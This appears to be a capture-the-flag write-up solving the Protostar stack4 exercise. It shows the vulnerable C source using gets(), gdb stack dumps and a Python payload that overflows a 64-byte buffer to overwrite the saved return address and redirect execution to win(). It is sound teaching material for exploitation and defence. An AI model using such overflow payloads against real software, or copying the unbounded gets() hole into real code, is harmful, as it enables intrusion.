Stack4 takes a look at overwriting saved EIP and standard buffer overflows.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
A variety of introductory papers into buffer overflows may help.
gdb lets you do “run < input”
EIP is not directly after the end of buffer, compiler padding can also increase the size.
This solution will consist of 2 parts:
First I went into gdb
to find out where win()
is located in the stack:
(gdb) x win
0x80483f4 <win>: 0x83e58955
Now we know win()
is at 0x80483f4
, so my first attempt was to fill up buffer[64]
and then overwriting the eip
that was pushed into the stack when main
was called by __libc_start_main
:
python -c "pl = 'A'*64; pl += '\xf4\x83\x04\x08'; print pl" > payload.txt
Let’s disassemble main and set some breakpoints to know how the stack and registers changes:
(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>: push ebp
...
0x08048418 <main+16>: call 0x804830c <gets@plt>
0x0804841d <main+21>: leave
...
End of assembler dump.
(gdb) b *0x08048408
Breakpoint 1 at 0x8048408: file stack4/stack4.c, line 12.
(gdb) b *0x08048409
Breakpoint 2 at 0x8048409: file stack4/stack4.c, line 12.
(gdb) b *0x08048418
Breakpoint 3 at 0x8048418: file stack4/stack4.c, line 15.
(gdb) b *0x0804841d
Breakpoint 4 at 0x804841d: file stack4/stack4.c, line 16.
The reasons for the breakpoints are:
main
did anythingebp
was pushed into the stackgets
So we run the program, 1st breakpoint, stack and registers looks like this:
0xbffff7ac: 0xb7eadc76 0x00000001 0xbffff854 0xbffff85c
0xbffff7bc: 0xb7fe1848 0xbffff810 0xffffffff 0xb7ffeff4
0xbffff7cc: 0x0804824b 0x00000001 0xbffff810 0xb7ff0626
0xbffff7dc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7ec: 0x00000000 0xbffff828 0x0140fbd8 0x2b17edc8
0xbffff7fc: 0x00000000 0x00000000 0x00000000 0x00000001
...
ebp 0xbffff828 0xbffff828
eip 0x8048408 0x8048408 <main>
Continue, 2nd breakpoint, we see that ebp
with the value 0xbffff828
was indeed pushed into the stack at 0xbffff7a8
, and now the stack view has shifted a by 1 column:
0xbffff7a8: 0xbffff828 0xb7eadc76 0x00000001 0xbffff854
0xbffff7b8: 0xbffff85c 0xb7fe1848 0xbffff810 0xffffffff
0xbffff7c8: 0xb7ffeff4 0x0804824b 0x00000001 0xbffff810
0xbffff7d8: 0xb7ff0626 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4
0xbffff7e8: 0x00000000 0x00000000 0xbffff828 0x0140fbd8
0xbffff7f8: 0x2b17edc8 0x00000000 0x00000000 0x00000000
...
ebp 0xbffff828 0xbffff828
eip 0x8048409 0x8048409 <main+1>
Continue, 3rd breakpoint, the stack pointer has moved, so the stack view has also moved, but we can still see our old ebp
that was pushed at 0xbffff7a8
:
0xbffff750: 0xbffff760 0xb7ec6165 0xbffff768 0xb7eada75
0xbffff760: 0xb7fd7ff4 0x080495ec 0xbffff778 0x080482e8
0xbffff770: 0xb7ff1040 0x080495ec 0xbffff7a8 0x08048449
0xbffff780: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffff7a8
0xbffff790: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4
0xbffff7a0: 0x08048430 0x00000000 0xbffff828 0xb7eadc76
...
ebp 0xbffff7a8 0xbffff7a8
eip 0x8048418 0x8048418 <main+16>
Continue, 4th breakpoint, gets
has run and now we see our payload in the stack:
0xbffff750: 0xbffff760 0xb7ec6165 0xbffff768 0xb7eada75
0xbffff760: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7a0: 0x080483f4 0x00000000 0xbffff828 0xb7eadc76
...
ebp 0xbffff7a8 0xbffff7a8
eip 0x804841d 0x804841d <main+21>
We can see that we wrote the return address too soon (at 0xbffff7a0
) as hinted by the 3rd hint. So we extend our fillers by 8 more chars to fill up more memory and overwrite the old ebp
at 0xbffff7a8
:
python -c "pl = 'A'*72; pl += '\xf4\x83\x04\x08'; print pl" > payload.txt
We do everything from the beginning and now after the 4th breakpoint the stack looks like this:
0xbffff750: 0xbffff760 0xb7ec6165 0xbffff768 0xb7eada75
0xbffff760: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7a0: 0x41414141 0x41414141 0x080483f4 0xb7eadc00
Looks like we have overwritten ebp
to the address of win()
, but if we continue the program we get sigsegv:
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
Second attempt, I realized that what we needed to overwrite was not the ebp
(which is pushed in the main
function) but the eip
that was pushed right before it (by the __libc_start_main
function who is the caller of main
function), so now we enlarge the filler by another 4 bytes:
python -c "pl = 'A'*76; pl += '\xf4\x83\x04\x08'; print pl" > payload.txt
Now at the 4th breakpoint the stack looks like this:
0xbffff750: 0xbffff760 0xb7ec6165 0xbffff768 0xb7eada75
0xbffff760: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x080483f4
Continue, and we successfully changed the program flow
(gdb) c
Continuing.
code flow successfully changed
Doing it without gdb
:
user@protostar:/opt/protostar/bin$ cat /home/user/payload.txt | ./stack4
code flow successfully changed
Segmentation fault
user@protostar:~$ python -c "pl = 'A'*76; pl += '\xf4\x83\x04\x08'; print pl" > payload.txt
user@protostar:/opt/protostar/bin$ gdb ./stack4
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/24wx $esp
>info registers
>x/2i $eip
>end
(gdb) x win
0x80483f4 <win>: 0x83e58955
(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>: push ebp
0x08048409 <main+1>: mov ebp,esp
0x0804840b <main+3>: and esp,0xfffffff0
0x0804840e <main+6>: sub esp,0x50
0x08048411 <main+9>: lea eax,[esp+0x10]
0x08048415 <main+13>: mov DWORD PTR [esp],eax
0x08048418 <main+16>: call 0x804830c <gets@plt>
0x0804841d <main+21>: leave
0x0804841e <main+22>: ret
End of assembler dump.
(gdb) b *0x08048408
Breakpoint 1 at 0x8048408: file stack4/stack4.c, line 12.
(gdb) b *0x08048409
Breakpoint 2 at 0x8048409: file stack4/stack4.c, line 12.
(gdb) b *0x08048418
Breakpoint 3 at 0x8048418: file stack4/stack4.c, line 15.
(gdb) b *0x0804841d
Breakpoint 4 at 0x804841d: file stack4/stack4.c, line 16.
(gdb) r < /home/user/payload.txt
Starting program: /opt/protostar/bin/stack4 < /home/user/payload.txt
0xbffff7ac: 0xb7eadc76 0x00000001 0xbffff854 0xbffff85c
0xbffff7bc: 0xb7fe1848 0xbffff810 0xffffffff 0xb7ffeff4
0xbffff7cc: 0x0804824b 0x00000001 0xbffff810 0xb7ff0626
0xbffff7dc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7ec: 0x00000000 0xbffff828 0xfe81a663 0xd4d6b073
0xbffff7fc: 0x00000000 0x00000000 0x00000000 0x00000001
eax 0xbffff854 -1073743788
ecx 0xd4d6b073 -724127629
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7ac 0xbffff7ac
ebp 0xbffff828 0xbffff828
esi 0x0 0
edi 0x0 0
eip 0x8048408 0x8048408 <main>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x8048408 <main>: push ebp
0x8048409 <main+1>: mov ebp,esp
Breakpoint 1, main (argc=1, argv=0xbffff854) at stack4/stack4.c:12
12 stack4/stack4.c: No such file or directory.
in stack4/stack4.c
(gdb) c
Continuing.
0xbffff7a8: 0xbffff828 0xb7eadc76 0x00000001 0xbffff854
0xbffff7b8: 0xbffff85c 0xb7fe1848 0xbffff810 0xffffffff
0xbffff7c8: 0xb7ffeff4 0x0804824b 0x00000001 0xbffff810
0xbffff7d8: 0xb7ff0626 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4
0xbffff7e8: 0x00000000 0x00000000 0xbffff828 0xfe81a663
0xbffff7f8: 0xd4d6b073 0x00000000 0x00000000 0x00000000
eax 0xbffff854 -1073743788
ecx 0xd4d6b073 -724127629
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7a8 0xbffff7a8
ebp 0xbffff828 0xbffff828
esi 0x0 0
edi 0x0 0
eip 0x8048409 0x8048409 <main+1>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x8048409 <main+1>: mov ebp,esp
0x804840b <main+3>: and esp,0xfffffff0
Breakpoint 2, 0x08048409 in main (argc=1, argv=0xbffff854) at stack4/stack4.c:12
12 in stack4/stack4.c
(gdb) c
Continuing.
0xbffff750: 0xbffff760 0xb7ec6165 0xbffff768 0xb7eada75
0xbffff760: 0xb7fd7ff4 0x080495ec 0xbffff778 0x080482e8
0xbffff770: 0xb7ff1040 0x080495ec 0xbffff7a8 0x08048449
0xbffff780: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffff7a8
0xbffff790: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4
0xbffff7a0: 0x08048430 0x00000000 0xbffff828 0xb7eadc76
eax 0xbffff760 -1073744032
ecx 0xd4d6b073 -724127629
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff750 0xbffff750
ebp 0xbffff7a8 0xbffff7a8
esi 0x0 0
edi 0x0 0
eip 0x8048418 0x8048418 <main+16>
eflags 0x200286 [ PF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x8048418 <main+16>: call 0x804830c <gets@plt>
0x804841d <main+21>: leave
Breakpoint 3, 0x08048418 in main (argc=1, argv=0xbffff854) at stack4/stack4.c:15
15 in stack4/stack4.c
(gdb) c
Continuing.
0xbffff750: 0xbffff760 0xb7ec6165 0xbffff768 0xb7eada75
0xbffff760: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x080483f4
eax 0xbffff760 -1073744032
ecx 0xbffff760 -1073744032
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff750 0xbffff750
ebp 0xbffff7a8 0xbffff7a8
esi 0x0 0
edi 0x0 0
eip 0x804841d 0x804841d <main+21>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x804841d <main+21>: leave
0x804841e <main+22>: ret
Breakpoint 4, main (argc=0, argv=0xbffff854) at stack4/stack4.c:16
16 in stack4/stack4.c
(gdb) c
Continuing.
code flow successfully changed
Program received signal SIGSEGV, Segmentation fault.
0xbffff7b4: 0xbffff854 0xbffff85c 0xb7fe1848 0xbffff810
0xbffff7c4: 0xffffffff 0xb7ffeff4 0x0804824b 0x00000001
0xbffff7d4: 0xbffff810 0xb7ff0626 0xb7fffab0 0xb7fe1b28
0xbffff7e4: 0xb7fd7ff4 0x00000000 0x00000000 0xbffff828
0xbffff7f4: 0xfe81a663 0xd4d6b073 0x00000000 0x00000000
0xbffff804: 0x00000000 0x00000001 0x08048340 0x00000000
eax 0x1f 31
ecx 0xb7fd84c0 -1208122176
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7b4 0xbffff7b4
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x0 0
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x0: Error while running hook_stop:
Cannot access memory at address 0x0
0x00000000 in ?? ()
(gdb)
‹ Previous in Binary exploitation: Protostar - stack3 | Next in Binary exploitation: Protostar - stack5 › |